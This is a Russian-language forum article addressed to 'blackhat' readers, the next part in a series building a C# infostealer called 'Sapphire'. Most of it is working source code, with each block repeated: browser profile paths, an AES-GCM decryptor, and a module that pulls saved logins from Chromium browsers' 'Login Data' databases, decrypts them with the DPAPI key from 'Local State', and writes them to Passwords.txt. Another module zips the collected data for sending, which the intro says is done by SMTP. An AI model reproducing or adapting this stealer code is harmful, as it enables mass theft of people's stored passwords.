Приветствую, блэкхет, в этой части статьи я был нацелен на уменьшение количество используемых библиотек, я считаю что у меня это вышло, также был проведен небольшой рефакторинг но это не уменьшило количество говнеца в коде, было изменено много чего, от прошлой части статьи осталось лишь отправка ***** через SMTP и граббер файлов. Также немало важно были добавлены хромиум браузеры, наверно с этого и начнем. Создаем класс Paths.cs где будут храниться пути до Login Data хромиум браузеров, пути будем хранить в словаре, там же будет метод для получение всех профилей. Paths.cs using System; using System.IO; using System.Collections.Generic; namespace Sapphire { internal sealed class Paths { private static string Appdata = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\"; private static string LocalAppdata = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\"; public static Dictionary<string, string> ChromiumPaths = new Dictionary<string, string>() { { "Chrome", LocalAppdata + "Google\\Chrome\\User Data" }, { "Opera", Appdata + "Opera Software\\Opera Stable" }, { "Yandex", LocalAppdata + "Yandex\\YandexBrowser\\User Data" }, { "Brave browser", LocalAppdata + "BraveSoftware\\Brave-Browser\\User Data" }, { "Orbitum browser", LocalAppdata + "Orbitum" }, { "Atom browser", LocalAppdata + "Mail.Ru\\Atom" }, { "Kometa browser", LocalAppdata + "Kometa" }, { "Edge Chromium", LocalAppdata + "Microsoft\\Edge\\User Data" }, { "Torch browser", LocalAppdata + "Torch\\User Data" }, { "Amigo", LocalAppdata + "Amigo\\User Data" }, { "CocCoc", LocalAppdata + "CocCoc\\Browser\\User Data" }, { "Comodo Dragon", LocalAppdata + "Comodo\\Dragon\\User Data" }, { "Epic Privacy Browser", LocalAppdata + "Epic Privacy Browser\\User Data" }, { "Elements Browser", LocalAppdata + "Elements Browser\\User Data" }, { "CentBrowser", LocalAppdata + "CentBrowser\\User Data" }, { "360 Browser", LocalAppdata + "360Chrome\\Chrome\\User Data" } }; public static List<string> GetUserData(string browserPath) { List<string> loginData = new List<string>() { browserPath + "\\Default\\Login Data", browserPath + "\\Login Data", }; if (Directory.Exists(browserPath)) { foreach (string dir in Directory.GetDirectories(browserPath)) { if (dir.Contains("Profile")) loginData.Add(dir + "\\Login Data"); } } return loginData; } } } C# using System; using System.IO; using System.Collections.Generic; namespace Sapphire { internal sealed class Paths { private static string Appdata = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\"; private static string LocalAppdata = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\"; public static Dictionary<string, string> ChromiumPaths = new Dictionary<string, string>() { { "Chrome", LocalAppdata + "Google\\Chrome\\User Data" }, { "Opera", Appdata + "Opera Software\\Opera Stable" }, { "Yandex", LocalAppdata + "Yandex\\YandexBrowser\\User Data" }, { "Brave browser", LocalAppdata + "BraveSoftware\\Brave-Browser\\User Data" }, { "Orbitum browser", LocalAppdata + "Orbitum" }, { "Atom browser", LocalAppdata + "Mail.Ru\\Atom" }, { "Kometa browser", LocalAppdata + "Kometa" }, { "Edge Chromium", LocalAppdata + "Microsoft\\Edge\\User Data" }, { "Torch browser", LocalAppdata + "Torch\\User Data" }, { "Amigo", LocalAppdata + "Amigo\\User Data" }, { "CocCoc", LocalAppdata + "CocCoc\\Browser\\User Data" }, { "Comodo Dragon", LocalAppdata + "Comodo\\Dragon\\User Data" }, { "Epic Privacy Browser", LocalAppdata + "Epic Privacy Browser\\User Data" }, { "Elements Browser", LocalAppdata + "Elements Browser\\User Data" }, { "CentBrowser", LocalAppdata + "CentBrowser\\User Data" }, { "360 Browser", LocalAppdata + "360Chrome\\Chrome\\User Data" } }; public static List<string> GetUserData(string browserPath) { List<string> loginData = new List<string>() { browserPath + "\\Default\\Login Data", browserPath + "\\Login Data", }; if (Directory.Exists(browserPath)) { foreach (string dir in Directory.GetDirectories(browserPath)) { if (dir.Contains("Profile")) loginData.Add(dir + "\\Login Data"); } } return loginData; } } } Создаем класс DataFormat.cs для удобной работы с данными. DataFormat.cs namespace Sapphire { sealed class Format { public struct LoginData { public string url { get; set; } public string login { get; set; } public string password { get; set; } public string browser { get; set; } } } } C# namespace Sapphire { sealed class Format { public struct LoginData { public string url { get; set; } public string login { get; set; } public string password { get; set; } public string browser { get; set; } } } } Создаем класс FileManager.cs для удобной работы, в этом классе будут реализованы методы для создание рабочего каталога и других файлов. FileManager.cs using System; using System.IO; using Ionic.Zip; namespace Sapphire.Modules.Helpers { class FileManager { private static string LocalAppData = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\"; private static string TempPath = Path.GetTempPath() + "\\"; public static string CreateDirectory(string path) { string ppath = path; if (path == "work") ppath = TempPath + "sapphire"; if (!Directory.Exists(ppath)) Directory.CreateDirectory(ppath); return ppath + "\\"; } public static void DeleteDirectory(string path) { if (path == "all") { //if (Directory.Exists(TempPath + "log.zip")) //Directory.Delete(TempPath + "log.zip", true); if (Directory.Exists(TempPath + "sapphire")) Directory.Delete(TempPath + "sapphire", true); } if (Directory.Exists(path)) Directory.Delete(path, true); } public static string GetWorkDirectory() { if (Directory.Exists(TempPath + "sapphire")) return TempPath + "sapphire\\"; return null; } public static void ArchiveDirectory(string path = null) { string ppath = TempPath + "sapphire"; if (!string.IsNullOrEmpty(path)) ppath = path; try { using (ZipFile zip = new ZipFile(System.Text.Encoding.GetEncoding("cp866"))) { zip.CompressionLevel = Ionic.Zlib.CompressionLevel.BestCompression; zip.Comment = "by barion @dark_legion89"; zip.AddDirectory(ppath); zip.Save(TempPath + "log.zip"); } } catch (Exception e) { Console.WriteLine($"[ERROR]can't archive\n{e}"); } } } } C# using System; using System.IO; using Ionic.Zip; namespace Sapphire.Modules.Helpers { class FileManager { private static string LocalAppData = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\"; private static string TempPath = Path.GetTempPath() + "\\"; public static string CreateDirectory(string path) { string ppath = path; if (path == "work") ppath = TempPath + "sapphire"; if (!Directory.Exists(ppath)) Directory.CreateDirectory(ppath); return ppath + "\\"; } public static void DeleteDirectory(string path) { if (path == "all") { //if (Directory.Exists(TempPath + "log.zip")) //Directory.Delete(TempPath + "log.zip", true); if (Directory.Exists(TempPath + "sapphire")) Directory.Delete(TempPath + "sapphire", true); } if (Directory.Exists(path)) Directory.Delete(path, true); } public static string GetWorkDirectory() { if (Directory.Exists(TempPath + "sapphire")) return TempPath + "sapphire\\"; return null; } public static void ArchiveDirectory(string path = null) { string ppath = TempPath + "sapphire"; if (!string.IsNullOrEmpty(path)) ppath = path; try { using (ZipFile zip = new ZipFile(System.Text.Encoding.GetEncoding("cp866"))) { zip.CompressionLevel = Ionic.Zlib.CompressionLevel.BestCompression; zip.Comment = "by barion @dark_legion89"; zip.AddDirectory(ppath); zip.Save(TempPath + "log.zip"); } } catch (Exception e) { Console.WriteLine($"[ERROR]can't archive\n{e}"); } } } } Также была изменена логика расшифровки паролей, для расшифровки AES были добавлены 2 новых класса AesGCM.cs, BCrypt.cs. AesGCM.cs // Основная логика для расшифровки AES using System; using System.Runtime.InteropServices; using System.Security.Cryptography; using System.Text; namespace Sapphire.Modules.Passwords.Chromium { class AesGCM { public byte[] Decrypt(byte[] key, byte[] iv, byte[] aad, byte[] cipherText, byte[] authTag) { IntPtr hAlg = OpenAlgorithmProvider(BCrypt.BCRYPT_AES_ALGORITHM, BCrypt.MS_PRIMITIVE_PROVIDER, BCrypt.BCRYPT_CHAIN_MODE_GCM); IntPtr hKey, keyDataBuffer = ImportKey(hAlg, key, out hKey); byte[] plainText; var authInfo = new BCrypt.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(iv, aad, authTag); using (authInfo) { byte[] ivData = new byte[MaxAuthTagSize(hAlg)]; int plainTextSize = 0; uint status = BCrypt.BCryptDecrypt(hKey, cipherText, cipherText.Length, ref authInfo, ivData, ivData.Length, null, 0, ref plainTextSize, 0x0); if (status != BCrypt.ERROR_SUCCESS) throw new CryptographicException(string.Format("BCrypt.BCryptDecrypt() (get size) failed with status code: {0}", status)); plainText = new byte[plainTextSize]; status = BCrypt.BCryptDecrypt(hKey, cipherText, cipherText.Length, ref authInfo, ivData, ivData.Length, plainText, plainText.Length, ref plainTextSize, 0x0); if (status == BCrypt.STATUS_AUTH_TAG_MISMATCH) throw new CryptographicException("BCrypt.BCryptDecrypt(): authentication tag mismatch"); if (status != BCrypt.ERROR_SUCCESS) throw new CryptographicException(string.Format("BCrypt.BCryptDecrypt() failed with status code:{0}", status)); } BCrypt.BCryptDestroyKey(hKey); Marshal.FreeHGlobal(keyDataBuffer); BCrypt.BCryptCloseAlgorithmProvider(hAlg, 0x0); return plainText; } private int MaxAuthTagSize(IntPtr hAlg) { byte[] tagLengthsValue = GetProperty(hAlg, BCrypt.BCRYPT_AUTH_TAG_LENGTH); return BitConverter.ToInt32(new[] { tagLengthsValue[4], tagLengthsValue[5], tagLengthsValue[6], tagLengthsValue[7] }, 0); } private IntPtr OpenAlgorithmProvider(string alg, string provider, string chainingMode) { IntPtr hAlg = IntPtr.Zero; uint status = BCrypt.BCryptOpenAlgorithmProvider(out hAlg, alg, provider, 0x0); if (status != BCrypt.ERROR_SUCCESS) throw new CryptographicException(string.Format("BCrypt.BCryptOpenAlgorithmProvider() failed with status code:{0}", status)); byte[] chainMode = Encoding.Unicode.GetBytes(chainingMode); status = BCrypt.BCryptSetAlgorithmProperty(hAlg, BCrypt.BCRYPT_CHAINING_MODE, chainMode, chainMode.Length, 0x0); if (status != BCrypt.ERROR_SUCCESS) throw new CryptographicException(string.Format("BCrypt.BCryptSetAlgorithmProperty(BCrypt.BCRYPT_CHAINING_MODE, BCrypt.BCRYPT_CHAIN_MODE_GCM) failed with status code:{0}", status)); return hAlg; } private IntPtr ImportKey(IntPtr hAlg, byte[] key, out IntPtr hKey) { byte[] objLength = GetProperty(hAlg, BCrypt.BCRYPT_OBJECT_LENGTH); int keyDataSize = BitConverter.ToInt32(objLength, 0); IntPtr keyDataBuffer = Marshal.AllocHGlobal(keyDataSize); byte[] keyBlob = Concat(BCrypt.BCRYPT_KEY_DATA_BLOB_MAGIC, BitConverter.GetBytes(0x1), BitConverter.GetBytes(key.Length), key); uint status = BCrypt.BCryptImportKey(hAlg, IntPtr.Zero, BCrypt.BCRYPT_KEY_DATA_BLOB, out hKey, keyDataBuffer, keyDataSize, keyBlob, keyBlob.Length, 0x0); if (status != BCrypt.ERROR_SUCCESS) throw new CryptographicException(string.Format("BCrypt.BCryptImportKey() failed with status code:{0}", status)); return keyDataBuffer; } private byte[] GetProperty(IntPtr hAlg, string name) { int size = 0; uint status = BCrypt.BCryptGetProperty(hAlg, name, null, 0, ref size, 0x0); if (status != BCrypt.ERROR_SUCCESS) throw new CryptographicException(string.Format("BCrypt.BCryptGetProperty() (get size) failed with status code:{0}", status)); byte[] value = new byte[size]; status = BCrypt.BCryptGetProperty(hAlg, name, value, value.Length, ref size, 0x0); if (status != BCrypt.ERROR_SUCCESS) throw new CryptographicException(string.Format("BCrypt.BCryptGetProperty() failed with status code:{0}", status)); return value; } public byte[] Concat(params byte[][] arrays) { int len = 0; foreach (byte[] array in arrays) { if (array == null) continue; len += array.Length; } byte[] result = new byte[len - 1 + 1]; int offset = 0; foreach (byte[] array in arrays) { if (array == null) continue; Buffer.BlockCopy(array, 0, result, offset, array.Length); offset += array.Length; } return result; } } } C# // Основная логика для расшифровки AES using System; using System.Runtime.InteropServices; using System.Security.Cryptography; using System.Text; namespace Sapphire.Modules.Passwords.Chromium { class AesGCM { public byte[] Decrypt(byte[] key, byte[] iv, byte[] aad, byte[] cipherText, byte[] authTag) { IntPtr hAlg = OpenAlgorithmProvider(BCrypt.BCRYPT_AES_ALGORITHM, BCrypt.MS_PRIMITIVE_PROVIDER, BCrypt.BCRYPT_CHAIN_MODE_GCM); IntPtr hKey, keyDataBuffer = ImportKey(hAlg, key, out hKey); byte[] plainText; var authInfo = new BCrypt.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(iv, aad, authTag); using (authInfo) { byte[] ivData = new byte[MaxAuthTagSize(hAlg)]; int plainTextSize = 0; uint status = BCrypt.BCryptDecrypt(hKey, cipherText, cipherText.Length, ref authInfo, ivData, ivData.Length, null, 0, ref plainTextSize, 0x0); if (status != BCrypt.ERROR_SUCCESS) throw new CryptographicException(string.Format("BCrypt.BCryptDecrypt() (get size) failed with status code: {0}", status)); plainText = new byte[plainTextSize]; status = BCrypt.BCryptDecrypt(hKey, cipherText, cipherText.Length, ref authInfo, ivData, ivData.Length, plainText, plainText.Length, ref plainTextSize, 0x0); if (status == BCrypt.STATUS_AUTH_TAG_MISMATCH) throw new CryptographicException("BCrypt.BCryptDecrypt(): authentication tag mismatch"); if (status != BCrypt.ERROR_SUCCESS) throw new CryptographicException(string.Format("BCrypt.BCryptDecrypt() failed with status code:{0}", status)); } BCrypt.BCryptDestroyKey(hKey); Marshal.FreeHGlobal(keyDataBuffer); BCrypt.BCryptCloseAlgorithmProvider(hAlg, 0x0); return plainText; } private int MaxAuthTagSize(IntPtr hAlg) { byte[] tagLengthsValue = GetProperty(hAlg, BCrypt.BCRYPT_AUTH_TAG_LENGTH); return BitConverter.ToInt32(new[] { tagLengthsValue[4], tagLengthsValue[5], tagLengthsValue[6], tagLengthsValue[7] }, 0); } private IntPtr OpenAlgorithmProvider(string alg, string provider, string chainingMode) { IntPtr hAlg = IntPtr.Zero; uint status = BCrypt.BCryptOpenAlgorithmProvider(out hAlg, alg, provider, 0x0); if (status != BCrypt.ERROR_SUCCESS) throw new CryptographicException(string.Format("BCrypt.BCryptOpenAlgorithmProvider() failed with status code:{0}", status)); byte[] chainMode = Encoding.Unicode.GetBytes(chainingMode); status = BCrypt.BCryptSetAlgorithmProperty(hAlg, BCrypt.BCRYPT_CHAINING_MODE, chainMode, chainMode.Length, 0x0); if (status != BCrypt.ERROR_SUCCESS) throw new CryptographicException(string.Format("BCrypt.BCryptSetAlgorithmProperty(BCrypt.BCRYPT_CHAINING_MODE, BCrypt.BCRYPT_CHAIN_MODE_GCM) failed with status code:{0}", status)); return hAlg; } private IntPtr ImportKey(IntPtr hAlg, byte[] key, out IntPtr hKey) { byte[] objLength = GetProperty(hAlg, BCrypt.BCRYPT_OBJECT_LENGTH); int keyDataSize = BitConverter.ToInt32(objLength, 0); IntPtr keyDataBuffer = Marshal.AllocHGlobal(keyDataSize); byte[] keyBlob = Concat(BCrypt.BCRYPT_KEY_DATA_BLOB_MAGIC, BitConverter.GetBytes(0x1), BitConverter.GetBytes(key.Length), key); uint status = BCrypt.BCryptImportKey(hAlg, IntPtr.Zero, BCrypt.BCRYPT_KEY_DATA_BLOB, out hKey, keyDataBuffer, keyDataSize, keyBlob, keyBlob.Length, 0x0); if (status != BCrypt.ERROR_SUCCESS) throw new CryptographicException(string.Format("BCrypt.BCryptImportKey() failed with status code:{0}", status)); return keyDataBuffer; } private byte[] GetProperty(IntPtr hAlg, string name) { int size = 0; uint status = BCrypt.BCryptGetProperty(hAlg, name, null, 0, ref size, 0x0); if (status != BCrypt.ERROR_SUCCESS) throw new CryptographicException(string.Format("BCrypt.BCryptGetProperty() (get size) failed with status code:{0}", status)); byte[] value = new byte[size]; status = BCrypt.BCryptGetProperty(hAlg, name, value, value.Length, ref size, 0x0); if (status != BCrypt.ERROR_SUCCESS) throw new CryptographicException(string.Format("BCrypt.BCryptGetProperty() failed with status code:{0}", status)); return value; } public byte[] Concat(params byte[][] arrays) { int len = 0; foreach (byte[] array in arrays) { if (array == null) continue; len += array.Length; } byte[] result = new byte[len - 1 + 1]; int offset = 0; foreach (byte[] array in arrays) { if (array == null) continue; Buffer.BlockCopy(array, 0, result, offset, array.Length); offset += array.Length; } return result; } } } BCrypt.cs // Нужен для корректной работы класса AesGCM.cs using System; using System.Runtime.InteropServices; namespace Sapphire.Modules.Passwords.Chromium { public static class BCrypt { public const uint ERROR_SUCCESS = 0x00000000; public const uint BCRYPT_PAD_PSS = 8; public const uint BCRYPT_PAD_OAEP = 4; public static readonly byte[] BCRYPT_KEY_DATA_BLOB_MAGIC = BitConverter.GetBytes(0x4d42444b); public static readonly string BCRYPT_OBJECT_LENGTH = "ObjectLength"; public static readonly string BCRYPT_CHAIN_MODE_GCM = "ChainingModeGCM"; public static readonly string BCRYPT_AUTH_TAG_LENGTH = "AuthTagLength"; public static readonly string BCRYPT_CHAINING_MODE = "ChainingMode"; public static readonly string BCRYPT_KEY_DATA_BLOB = "KeyDataBlob"; public static readonly string BCRYPT_AES_ALGORITHM = "AES"; public static readonly string MS_PRIMITIVE_PROVIDER = "Microsoft Primitive Provider"; public static readonly int BCRYPT_AUTH_MODE_CHAIN_CALLS_FLAG = 0x00000001; public static readonly int BCRYPT_INIT_AUTH_MODE_INFO_VERSION = 0x00000001; public static readonly uint STATUS_AUTH_TAG_MISMATCH = 0xC000A002; [StructLayout(LayoutKind.Sequential)] public struct BCRYPT_PSS_PADDING_INFO { public BCRYPT_PSS_PADDING_INFO(string pszAlgId, int cbSalt) { this.pszAlgId = pszAlgId; this.cbSalt = cbSalt; } [MarshalAs(UnmanagedType.LPWStr)] public string pszAlgId; public int cbSalt; } [StructLayout(LayoutKind.Sequential)] public struct BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO : IDisposable { public int cbSize; public int dwInfoVersion; public IntPtr pbNonce; public int cbNonce; public IntPtr pbAuthData; public int cbAuthData; public IntPtr pbTag; public int cbTag; public IntPtr pbMacContext; public int cbMacContext; public int cbAAD; public long cbData; public int dwFlags; public BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(byte[] iv, byte[] aad, byte[] tag) : this() { dwInfoVersion = BCRYPT_INIT_AUTH_MODE_INFO_VERSION; cbSize = Marshal.SizeOf(typeof(BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO)); if (iv != null) { cbNonce = iv.Length; pbNonce = Marshal.AllocHGlobal(cbNonce); Marshal.Copy(iv, 0, pbNonce, cbNonce); } if (aad != null) { cbAuthData = aad.Length; pbAuthData = Marshal.AllocHGlobal(cbAuthData); Marshal.Copy(aad, 0, pbAuthData, cbAuthData); } if (tag != null) { cbTag = tag.Length; pbTag = Marshal.AllocHGlobal(cbTag); Marshal.Copy(tag, 0, pbTag, cbTag); cbMacContext = tag.Length; pbMacContext = Marshal.AllocHGlobal(cbMacContext); } } public void Dispose() { if (pbNonce != IntPtr.Zero) Marshal.FreeHGlobal(pbNonce); if (pbTag != IntPtr.Zero) Marshal.FreeHGlobal(pbTag); if (pbAuthData != IntPtr.Zero) Marshal.FreeHGlobal(pbAuthData); if (pbMacContext != IntPtr.Zero) Marshal.FreeHGlobal(pbMacContext); } } [StructLayout(LayoutKind.Sequential)] public struct BCRYPT_KEY_LENGTHS_STRUCT { public int dwMinLength; public int dwMaxLength; public int dwIncrement; } [StructLayout(LayoutKind.Sequential)] public struct BCRYPT_OAEP_PADDING_INFO { public BCRYPT_OAEP_PADDING_INFO(string alg) { pszAlgId = alg; pbLabel = IntPtr.Zero; cbLabel = 0; } [MarshalAs(UnmanagedType.LPWStr)] public string pszAlgId; public IntPtr pbLabel; public int cbLabel; } [DllImport("bcrypt.dll")] public static extern uint BCryptOpenAlgorithmProvider(out IntPtr phAlgorithm, [MarshalAs(UnmanagedType.LPWStr)] string pszAlgId, [MarshalAs(UnmanagedType.LPWStr)] string pszImplementation, uint dwFlags); [DllImport("bcrypt.dll")] public static extern uint BCryptCloseAlgorithmProvider(IntPtr hAlgorithm, uint flags); [DllImport("bcrypt.dll", EntryPoint = "BCryptGetProperty")] public static extern uint BCryptGetProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbOutput, int cbOutput, ref int pcbResult, uint flags); [DllImport("bcrypt.dll", EntryPoint = "BCryptSetProperty")] internal static extern uint BCryptSetAlgorithmProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbInput, int cbInput, int dwFlags); [DllImport("bcrypt.dll")] public static extern uint BCryptImportKey(IntPtr hAlgorithm, IntPtr hImportKey, [MarshalAs(UnmanagedType.LPWStr)] string pszBlobType, out IntPtr phKey, IntPtr pbKeyObject, int cbKeyObject, byte[] pbInput, //blob of type BCRYPT_KEY_DATA_BLOB + raw key data = (dwMagic (4 bytes) | uint dwVersion (4 bytes) | cbKeyData (4 bytes) | data) int cbInput, uint dwFlags); [DllImport("bcrypt.dll")] public static extern uint BCryptDestroyKey(IntPtr hKey); [DllImport("bcrypt.dll")] public static extern uint BCryptEncrypt(IntPtr hKey, byte[] pbInput, int cbInput, ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo, byte[] pbIV, int cbIV, byte[] pbOutput, int cbOutput, ref int pcbResult, uint dwFlags); [DllImport("bcrypt.dll")] internal static extern uint BCryptDecrypt(IntPtr hKey, byte[] pbInput, int cbInput, ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo, byte[] pbIV, int cbIV, byte[] pbOutput, int cbOutput, ref int pcbResult, int dwFlags); } } C# // Нужен для корректной работы класса AesGCM.cs using System; using System.Runtime.InteropServices; namespace Sapphire.Modules.Passwords.Chromium { public static class BCrypt { public const uint ERROR_SUCCESS = 0x00000000; public const uint BCRYPT_PAD_PSS = 8; public const uint BCRYPT_PAD_OAEP = 4; public static readonly byte[] BCRYPT_KEY_DATA_BLOB_MAGIC = BitConverter.GetBytes(0x4d42444b); public static readonly string BCRYPT_OBJECT_LENGTH = "ObjectLength"; public static readonly string BCRYPT_CHAIN_MODE_GCM = "ChainingModeGCM"; public static readonly string BCRYPT_AUTH_TAG_LENGTH = "AuthTagLength"; public static readonly string BCRYPT_CHAINING_MODE = "ChainingMode"; public static readonly string BCRYPT_KEY_DATA_BLOB = "KeyDataBlob"; public static readonly string BCRYPT_AES_ALGORITHM = "AES"; public static readonly string MS_PRIMITIVE_PROVIDER = "Microsoft Primitive Provider"; public static readonly int BCRYPT_AUTH_MODE_CHAIN_CALLS_FLAG = 0x00000001; public static readonly int BCRYPT_INIT_AUTH_MODE_INFO_VERSION = 0x00000001; public static readonly uint STATUS_AUTH_TAG_MISMATCH = 0xC000A002; [StructLayout(LayoutKind.Sequential)] public struct BCRYPT_PSS_PADDING_INFO { public BCRYPT_PSS_PADDING_INFO(string pszAlgId, int cbSalt) { this.pszAlgId = pszAlgId; this.cbSalt = cbSalt; } [MarshalAs(UnmanagedType.LPWStr)] public string pszAlgId; public int cbSalt; } [StructLayout(LayoutKind.Sequential)] public struct BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO : IDisposable { public int cbSize; public int dwInfoVersion; public IntPtr pbNonce; public int cbNonce; public IntPtr pbAuthData; public int cbAuthData; public IntPtr pbTag; public int cbTag; public IntPtr pbMacContext; public int cbMacContext; public int cbAAD; public long cbData; public int dwFlags; public BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(byte[] iv, byte[] aad, byte[] tag) : this() { dwInfoVersion = BCRYPT_INIT_AUTH_MODE_INFO_VERSION; cbSize = Marshal.SizeOf(typeof(BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO)); if (iv != null) { cbNonce = iv.Length; pbNonce = Marshal.AllocHGlobal(cbNonce); Marshal.Copy(iv, 0, pbNonce, cbNonce); } if (aad != null) { cbAuthData = aad.Length; pbAuthData = Marshal.AllocHGlobal(cbAuthData); Marshal.Copy(aad, 0, pbAuthData, cbAuthData); } if (tag != null) { cbTag = tag.Length; pbTag = Marshal.AllocHGlobal(cbTag); Marshal.Copy(tag, 0, pbTag, cbTag); cbMacContext = tag.Length; pbMacContext = Marshal.AllocHGlobal(cbMacContext); } } public void Dispose() { if (pbNonce != IntPtr.Zero) Marshal.FreeHGlobal(pbNonce); if (pbTag != IntPtr.Zero) Marshal.FreeHGlobal(pbTag); if (pbAuthData != IntPtr.Zero) Marshal.FreeHGlobal(pbAuthData); if (pbMacContext != IntPtr.Zero) Marshal.FreeHGlobal(pbMacContext); } } [StructLayout(LayoutKind.Sequential)] public struct BCRYPT_KEY_LENGTHS_STRUCT { public int dwMinLength; public int dwMaxLength; public int dwIncrement; } [StructLayout(LayoutKind.Sequential)] public struct BCRYPT_OAEP_PADDING_INFO { public BCRYPT_OAEP_PADDING_INFO(string alg) { pszAlgId = alg; pbLabel = IntPtr.Zero; cbLabel = 0; } [MarshalAs(UnmanagedType.LPWStr)] public string pszAlgId; public IntPtr pbLabel; public int cbLabel; } [DllImport("bcrypt.dll")] public static extern uint BCryptOpenAlgorithmProvider(out IntPtr phAlgorithm, [MarshalAs(UnmanagedType.LPWStr)] string pszAlgId, [MarshalAs(UnmanagedType.LPWStr)] string pszImplementation, uint dwFlags); [DllImport("bcrypt.dll")] public static extern uint BCryptCloseAlgorithmProvider(IntPtr hAlgorithm, uint flags); [DllImport("bcrypt.dll", EntryPoint = "BCryptGetProperty")] public static extern uint BCryptGetProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbOutput, int cbOutput, ref int pcbResult, uint flags); [DllImport("bcrypt.dll", EntryPoint = "BCryptSetProperty")] internal static extern uint BCryptSetAlgorithmProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbInput, int cbInput, int dwFlags); [DllImport("bcrypt.dll")] public static extern uint BCryptImportKey(IntPtr hAlgorithm, IntPtr hImportKey, [MarshalAs(UnmanagedType.LPWStr)] string pszBlobType, out IntPtr phKey, IntPtr pbKeyObject, int cbKeyObject, byte[] pbInput, //blob of type BCRYPT_KEY_DATA_BLOB + raw key data = (dwMagic (4 bytes) | uint dwVersion (4 bytes) | cbKeyData (4 bytes) | data) int cbInput, uint dwFlags); [DllImport("bcrypt.dll")] public static extern uint BCryptDestroyKey(IntPtr hKey); [DllImport("bcrypt.dll")] public static extern uint BCryptEncrypt(IntPtr hKey, byte[] pbInput, int cbInput, ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo, byte[] pbIV, int cbIV, byte[] pbOutput, int cbOutput, ref int pcbResult, uint dwFlags); [DllImport("bcrypt.dll")] internal static extern uint BCryptDecrypt(IntPtr hKey, byte[] pbInput, int cbInput, ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo, byte[] pbIV, int cbIV, byte[] pbOutput, int cbOutput, ref int pcbResult, int dwFlags); } } Осталось реализовать логику расшифрование паролей создаем класс Chromium.cs, для вытаскивание полей из sqlite'a был добавлен класс SQLite.cs, для парсинга json был добавлен класс JSON.cs. Chromium.cs using System; using System.Linq; using System.IO; using System.Security.Cryptography; using System.Collections.Generic; using Sapphire.Modules.Helpers; using Sapphire.Modules.Steal.Helpers; namespace Sapphire.Modules.Passwords.Chromium { class Chromium { public static void Get() { var loginData = new List<Format.LoginData>(); foreach (var p in Paths.ChromiumPaths) loginData.AddRange(Passwords(p.Value, p.Key)); if (loginData.Count > 0) { string path = FileManager.CreateDirectory("work"); if (string.IsNullOrEmpty(path)) throw new Exception("[ERROR] can't create work directory"); File.Create(path + "Passwords.txt").Close(); foreach (var data in loginData.ToArray()) File.AppendAllText(path + "Passwords.txt", $"URL: {data.url}\nLogin: {data.login}\nPassword: {data.password}\nApplication: {data.browser}\n--------------------------------\n"); } } public static List<Format.LoginData> Passwords(string path, string browser) { List<string> ldFiles = Paths.GetUserData(path); // Получаем все профили List<Format.LoginData> data = new List<Format.LoginData>(); foreach (string ld in ldFiles.ToArray()) { if (!File.Exists(ld)) { continue; } SQLite sql; try { sql = new SQLite(ld); // Открываем дб Login Data } catch (Exception e) { Console.WriteLine($"[ERROR_CANT_OPEN_DB]{e.Message}"); return null; } sql.ReadTable("logins"); // Читаем таблицу logins for (int i = 0; i < sql.GetRowCount(); i++) { try { string url = sql.GetValue(i, 0); string login = sql.GetValue(i, 3); string password = sql.GetValue(i, 5); if (!string.IsNullOrEmpty(password)) { // Проверяем версию шифрование if (password.StartsWith("v10") || password.StartsWith("v11")) { byte[] secretKey = GetKey(Directory.GetParent(ld).Parent.FullName); if (secretKey is null) // если null пропускаем continue; password = DecryptPassword(System.Text.Encoding.Default.GetBytes(password), secretKey); } else password = System.Text.Encoding.UTF8.GetString(ProtectedData.Unprotect(System.Text.Encoding.Default.GetBytes(password), null, 0)); } if (login.Trim().Length > 0 && password.Trim().Length > 0) // Проверяем на валид data.Add(new Format.LoginData() { url = url, login = login, password = password, browser = browser }); } catch (Exception e) { Console.WriteLine($"[ERROR_CANT_GET_PASSWORD]{e.Message}"); return null; } } } return data; } private static string DecryptPassword(byte[] encryptedData, byte[] secretKey) { // получаем соль, пропускаем префикс v10 byte[] iv = encryptedData.Skip(3).Take(12).ToArray(); try { byte[] Buffer = encryptedData.Skip(15).Take(encryptedData.Length - 15).ToArray(); byte[] tag = Buffer.Skip(Buffer.Length - 16).Take(16).ToArray(); byte[] data = Buffer.Skip(0).Take(Buffer.Length - tag.Length).ToArray(); AesGCM aes = new AesGCM(); var result = System.Text.Encoding.UTF8.GetString(aes.Decrypt(secretKey, iv, null, data, tag)); return result; } catch(Exception e) { Console.WriteLine($"[ERROR_DECRYPT_METHOD]{e.Message}\n{e.StackTrace}"); return null; } } private static byte[] GetKey(string browserPath) { string filePath = browserPath + "\\Local State"; if (!File.Exists(filePath)) { return null; } // Читаем данные из файла Local State(там хранится секретный ключ) string key = File.ReadAllText(filePath); // Получаем ключ key = SimpleJSON.JSON.Parse(key)["os_crypt"]["encrypted_key"]; try { byte[] keyBytes = System.Text.Encoding.Default.GetBytes(System.Text.Encoding.Default.GetString(Convert.FromBase64String(key)).Remove(0, 5)); // Конвертируем из base64 в string после удаляем префикс DPAPI и получаем байты byte[] secretKey = ProtectedData.Unprotect(keyBytes, null, 0); return secretKey; } catch(Exception e) { Console.WriteLine($"[ERROR_GETSECRETKEY_METHOD]{e.Message}"); return null; } } } } C# 